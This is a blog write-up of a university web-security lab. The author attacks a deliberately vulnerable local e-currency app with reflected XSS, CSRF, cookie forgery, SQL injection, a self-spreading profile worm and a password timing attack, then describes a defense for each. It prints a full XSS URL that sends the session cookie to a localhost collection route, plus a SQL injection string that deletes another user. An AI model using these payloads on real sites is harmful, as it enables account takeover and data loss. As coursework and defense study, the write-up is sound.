2025/04/20

Spring 2024 CS155:Computer and Network Security Project2:Web Attacks and Defenses

Here is my notes during this experiment. I will not provide with the entire answer directory, but you can get some useful snippets from this blog.

bitbar Experiments

  1. Lab Title: Web Attacks and Defense

  2. Lab Objective: Construct an attack and update the defense accordingly

  3. Experimental environment: Providing e-currency services website - bitbar

  4. Lab Requirements: https://cs155.stanford.edu/hw_and_proj/proj2/proj2.pdf


绯境之外~Outside of Scarlet No reproduction without permission.

Experimental content

Part 1: Attacks

This experiment will exploit a reflective XSS vulnerability to steal user session cookies.

According to the question "Try to add random text at the end of the URL", it implies that there is a reflective XSS vulnerability in this input port to construct a malicious URL. Try to inject <script>code into the /profile?usernamequery parameter to trigger a malicious script via reflective XSS.

Can not take effect, the return is the Login page, by observing the returned HTML source code and analyzing the backend logic, we know that the page will only be rendered if the loggedInstate of the session is true, and this field can only be modified through the /get_loginand /get_registerroutes req.session. loggedIn = true.

image-20250413224836850

/router.jsline 117

image-20250413225221875

Since the page is only rendered when req.session.loggedIn === true, we first use the example account user1provided in the documentation to log in and gain access to the session. After trying to log in and trying again, an alertpopup is triggered via XSS injection. This proves that there is indeed an XSS vulnerability.

image-20250413224718360

The title means that by visiting http://localhost:3000/profile?username=... to get a cookie and then send it to http://localhost:3000/steal_cookie?cookie=... .cookie

Since user1's login state is already in the browser's storage, and the page allows an attacker to implement stored xss injection capabilities. Then any malicious code can be executed.

In the meantime there are a few nitty-gritty issues, such as whether the site restricts cookies to Httponly, and if it does, then we can't get the cookie through the front-end code (e.g., the <script>tag that xss often uses). The f12 view does not appear to have any security attributes set.

image-20250413232544404

Also need to find out what to send to http://localhost:3000/steal_cookie?cookie=.... . cookie. Now it seems to be under the same domain localhost:3000, and the method is simply passing a parameter through the query, so there is no cross-domain concern.

Construct malicious js code uploads a document.cookieto the /steal_cookieroute, and design it in such a way that the user should not notice extraneous visible text, such as does not existon the page above. Then the malicious code needs to add a callback that redirects to the normal page after the request completes (regardless of the state). The malicious code also needs to add a callback that redirects to the normal page after the request completes (in whatever state), ensuring that the attack goes unnoticed.

Successfully sent cookie to steal_cookieand jumped to normal url

image-20250413235219914

Also checking the terminal, it does show the session cookie that was stolen.

image-20250413233426367

Finally, it needs to be designed in such a way that the user should not be able to detect extraneous visible text, such as does not existon the page above. Then the malicious code also needs to add a callback that jumps to the normal web page after the request is completed (regardless of the state).

This attack successfully steals session information and bounces the user to a normal page by extracting and sending a cookie.

a.txt, constructed by the final url for, can be copied directly to the address bar to jump, after which you can see in the interrupt display

http://localhost:3000/profile?username=%3Cscript%3Efetch%28%60http%3A%2F%2Flocalhost%3A3000%2Fsteal_cookie%3Fcookie%3D%24%7Bdocument.cookie%7D%60%2C%7Bmethod%3A+%27GET%27%7D%29.then%28response+%3D%3E+%7B+++++window.location.replace%28%27http%3A%2F%2Flocalhost%3A3000%2Fprofile%27%29%3B+%7D%29%3B%3C%2Fscript%3E

2. Exploit Bravo: Cross-Site Request Forgery

This experiment will utilize the browser to automatically carry a cookie to spoof a transfer request.

To see the rater in action first, he will log into Bitbar and then load b.html in his web browser.

In addition, we know in the previous section, the page does not have any cookie security policy, the server does not verify the source of the request, no CSRF Token or SameSite restrictions. So when the browser requests localhost:3000, it will automatically bring a cookie to the request.

In this attack, the simulation performs cross-site request forgery by constructing a malicious web page. The attacker was able to utilize a cookie automatically carried by the browser to forge a transfer request. By analyzing the server code, it was found that there was a security vulnerability in the transfer function, and the attacker was able to transfer funds through the forged POST request, which led to the transfer of funds in the account. The final html file is shown in b.html

image-20250414104828866

 

image-20250414113053205

Below is the discovery when doing this round of experiment, need ctrl+c and again sh ``start_server.shcan't clear the effect of the last experiment (i.e. after restarting the experiment, the initial account balance is the value at the end of the last experiment, can't be initialized to 200), you have to clear all the session cookies stored in your browser in order to get rid of them. Reviewing the source code reveals that

/router.jsline138

When querying your own account, use req.session.accountto query the account balance directly. This value is directly involved in the business logic that follows.

Another code snippet for transferring money.

/router.jsline168

Judge the reasonableness of the transfer (whether the amount to be transferred is greater than the amount contained in itself) is also by reading the state of the front-end session storage for the subsequent business logic, so in the experiment I also encountered each restart after the experiment after the transfer of money, the amount of money is the cumulative reduction (rather than the expected 200-10 = 190)

Anyway, the session cookie needs to be cleared, which is done by re-requesting the real account balance from the database. The reasons for this phenomenon will be explained later.

3. Exploit Charlie: Session Hijacking with Cookies

Through the above analysis, we know that the back-end completely through the front-end return req.session (extracted from the request cookie) to perform the logic, and now we are required to hijack the victim's session cookie. then a very clear idea is to find out how to encrypt from the back-end source code of the user's uid and other information to get the logic of req.session so that you can Fully obtain the victim's req.session

First look at the cookie for logged in users

It looks like a base64 encoding of the encrypted session information, so let's decode it.

Analyze the object after deserializing the decoded json. You can see that there are the loggedIn, username, bitbarsfields mentioned in the previous analysis. There is also a hashedPasswordfield (length = 64) that was not part of the previous analysis, but this field, which has the ability to authenticate the user, is not used in the back-end to process sensitive operations such as money transfers. In other words, an attacker can spoof the session received by the server to transfer money without knowing the victim's password.

The attacker attacker forged the javascript code of user user1 as follows (c.txt)

The attack successfully forges a session by analyzing the structure of the session cookie. By decoding and modifying the cookie, the attacker was able to spoof the req.session, gain full control of the target account, and even transfer funds.

image-20250414120618269

 

image-20250414120948598

4. Exploit Delta: Cooking the Books with Cookies

Cookies are used to falsify books

Following the above analysis of router.js, when the data in the req.session is allowed to be transferred, the transfer operation is performed, and the resultant data after the transfer is saved to the db, line174 is as follows

Combined with the rater's actions in the document, the malicious workflow should be as follows

Scorer creates account -> copy and paste malicious code to make session.bitbars1,000,001 -> transfer 1, triggers database to write new account bitbars ``= 1,000,000-> logout and log back in to confirm bitbarsin database

In order to modify session.bitbars, first get the original doocument.cookie, then parse it and modify the corresponding fields, and finally re-assign the value to doocument.cookie.

Construct the malicious code as follows (d.txt)

Create a user and paste the malicious code in the console.

image-20250416130609900

Transfer a bitbar to user1 after execution.

Now log out and clear your cookies and log back in to check your account balance. It's still growing at the time of the screenshot

image-20250416130654919

Using forged session information, an attacker is able to set unreasonable values in the account balance, such as setting bitbarsto an extremely high number, and then make a transfer. This type of operation, by modifying session.bitbars, can falsify the ledger record and make illegal fund transfers.

5. Exploit Echo: SQL Injection

The question asks us to click 'Close' to cancel our account and user3's account. First look at the network request after clicking Close

image-20250416132307840

The request is of type GET, there is no request body, there is no query param. The only field in the request that identifies the origin of the user is the cookie. Therefore, it is assumed that the server is using the username parsed from the cookie as the username to be deleted.

Review the source code for further validation

``router.jsline96

This is exactly what I suspected. In addition, the executed sql string is spliced with a username, which is obviously a good way to do sql injection via username.

According to the rater's instructions in the title, we only need to make sure that user3(user3) is deleted, so the malicious username we constructed is

" OR username == "user3"so the sql statement would be DELETE FROM Users WHERE username == "" OR username == "user3"thus deleting user3

Trying to log in to user3. This injection statement resulted in the deletion of the user3account, which led to the successful execution of the attack.

6. Exploit Foxtrot: Profile Worm

The Home page allows you to edit your profile, and when you see the input box, you first try to see if you can do stored XSS.

image-20250416151236583

Go to the profile page and pop up a warning window to confirm the existence of the XSS vulnerability, this task will design malicious code to achieve infection.

image-20250416151356875

According to the question, the malicious code should contain the following characteristics

  1. The number of Bitbars that other users see when viewing an infected profile should be displayed as 10.

  2. Other users should immediately transfer 1 Bitbar to the attacker who launched the infection within a short time after opening the infected profile (if there is no currency then do not do the behavior)

  3. Other users who view an infected profile will have their own profiles infected in the same way, and this infectivity can be spread to any subsequent users who view their profiles.

For the first task, the original idea was to modify the DOM via script. In the profile page, the id of the element displaying the x bitbars is bitbar_display.

However, the page implements a page that dynamically changes the balance, forcing the #bitbar_displayelement to be set causes the real balance to be displayed due to script effects.

view.ejsline25

So now the logic becomes modify the DOM after the page is loaded, do not display the original element, at the same time in this element before the insertion of a new element to display the balance of the element, and then through the script to add up to 10

The second task, transferring money through script request transfer api is solved.

The third task, how other users can modify their own profiles through their scripts after viewing an infected profile

Take a look at the "set profile" request, which initiates a POST request with body type application/x-www-form-urlencoded, and the same-origin request carries the cookie information.

image-20250416153949989

In the profile page, the id of the profile element is profile, and the element contains all of the content previously written in the profile text, including the visible content and the <script>.

To infect your own profile you should get the content of the element and use it to set your own profile, paying attention to the URI encoding and carrying a cookie.

Splice the above three snippets and wrap them in <script>tags, and splice in a display string for the attacker's profile (f.txt).

Now log in to user1, try to use that account to view the attacker's profile, observe the network requests, and the current balance is 225.

You can see that after user1 observes the attacker's account, the attacker's profile shows the number of bitbars as 10 (although the actual amount of the attacker's money is 1000001), and at the same time, user1 also initiates the post_transferand set_profilerequests

image-20250416164634593

Since the personal data has been changed, I checked user1's balance on the command line, and found that it has changed to 224, which is consistent with the transfer 1 bitbar.

image-20250416165051529

Now use user2 to look at user1's profile and find that it is infected, and at the same time user2 is also infected and makes requests that are not expected by the user.

A stored XSS vulnerability exists in the Profilepage. An attacker is able to modify the number of bitbarsto a fixed value (e.g., 10) by injecting a malicious script and directing other users to transfer funds to the attacker's account. By doing so, the attacker is able to infect other users' profile pages and cause funds to be transferred.

7. Exploit Gamma: Password Extraction via Timing Attack

I asked for a malicious script to be placed in the username input box, but after trying <script type='text/javascript'>as the username, it returned < type='text/java'>, which at first I thought was a browser protection. But then I reviewed the source code and realized that

router.jsline181

The backend rendering back to the frontend strongly detects and removes the script and Img tags, but there are other tags that we can use to execute scripts, such as <iframe>.

For example, if you enter the following malicious username in the input box, you can override the rules for XSS injection, and you can see the logs in the console

We have already designed the injection method, now we design the logic for the malicious code. The topic requirement tells us that in this case "When a request contains the correct password, the web server may take longer to respond to a login request than a request with the wrong password". So design the loop, try the login request using each of the passwords from the password dictionary given in gamma_starter.html, get the average login time and finally take the largest time as the possible password and try the login.

In addition, the request should be careful to disable caching. The title also states that there is a race condition between each login request, so each login attempt should be blocking.

The final code has been put into g.txt, and the comments of the above code will be removed during the merge.

In addition, the null merge operator?is an ES11 feature, which can't be used in the back-end business code, I passed the test in the latest version of firefox.

In the Transfer To box, enter the malicious username in g.txt, and you can see the page launching a web request, and finally sending the password dragonto the specified path.

In addition, the length of each return message from the server's terminal shows that dragon is indeed the final password. The exaggerated time elapsed is due to the server sleepingfor 2 seconds during get_loginprocessing for the correct password.

image-20250416203550580

This attack successfully extracted the password of userx.

Part 2: Defenses Defenses against Part 1 Attacks

1 XSS Injection Prevention

The simplest of thoughts.

  1. Remove danger tags from all user sections that may have a Reflected XSS vulnerability (user content participating in the rendering process).

  2. Delete hazardous labels before storing user inputs in the database.

The following function removes hazardous tags, which are processed by regular expression match removal.

A typical case of modification is modifying /profileprocessing.

In this code, even if the user user1 <script>alert(233)</script>exists in the database, the malicious username will not appear on the user's front end after the return rendering.

image-20250417092904870

authentication of user cookies, due to the title restrictions we must not install third-party packages can not use modern JWT and other programs, so here is another way.

The simplest (and least performance-conscious) idea is to process the user's session once per request, and if the session claims to be logged in, verify that the username and salted password in the account field correspond to the results in the database. In addition, reset the session bitbars to the real values requested by the database to prevent the user from tampering with the value in the cookie (assuming the integrity of the database transaction).

Replace all places where req.session.loggedIn ``== falseall to await ``JudgeNotLogin``()

This function uniformly determines and verifies whether the currently requested session (req.session) is in the legal state of "logged in", and synchronously updates the user data in the session when it passes. If an exception is thrown at any step (user doesn't exist, password doesn't match, database exception, etc.), it will be caught and return true("not logged in/authentication failed").

Why do this replacement, because in the original back-end business, these places to do judgment loggedIn is to determine whether the user session for the login state, although the practice is not safe but the timing of the function call is correct.

Now test attack 1,3,4, all failed, on the one hand can not modify the amount of money handled in the business logic by changing the amount displayed in the console. On the other hand, it is not possible to gain control of other users by modifying only session.username.

3 sql injection prevention

This will only be changed where the user input controls the sql statement (where the sql statement splices in any field of the req), in favor of a parameterized query.

For example, in /close

After testing, using malicious username" OR username == "user3 ``request/close, user3 not deleted

4 CSRF prevention

Due to the limitations of the topic requirements can not be enabled Cookie SameSite attribute and the same origin detection, here the use of CSRF Token methods

If a browser requests a page, the browser generates a CSRF Token when it renders the page, and implants that string into the returned page.

If the browser initiates a POST request, it needs to bring the CSRF Token from the page, and then the server will start the process of verifying whether the Token is legitimate or not when it receives the POST request. If the request is sent from a third-party site, the CSRF Token value will not be available, so even if the request is sent, the server will reject the request because the CSRF Token is incorrect.

Specifically for this application, the server will generate a new Token for each page requested and render it to the invisible <input>in the form (if any), in addition to storing the Token in the server's session (so that you can assume that each session has a Token corresponding to it), for subsequent verification of whether the CSRF TOKEN is legitimate.

Each time the server receives a POST request, it compares the Token in the request header (as it is in the<input>) with the Token in the session.

Now you can defend part1 of 2 attacks, the following chart in the server back-end will be csrf token judgment, comparison is not the same, at the same time to see user1 account balance did not change.

5 Side-channel timing attack

Analyze the logic of the back-end found that all login requests in the back-end processing time will not exceed 1 second (the source code of the branch of the successful login to force sleep 2 seconds), so for all the login requests, we have to strictly control the processing time in the back-end and each request time to add perturbation, all the mandatory delay in the total request time to reach the2±0.2 seconds after return

Since XSS injection has been prevented, here is a direct test of the attack using the runtime method in the console7

You can see that the login time is set as expected, with a slight error caused by the setTimeOutitself), and as a result, it seems that it is no longer possible to determine the correct password by the time difference.

0 评论:

发表评论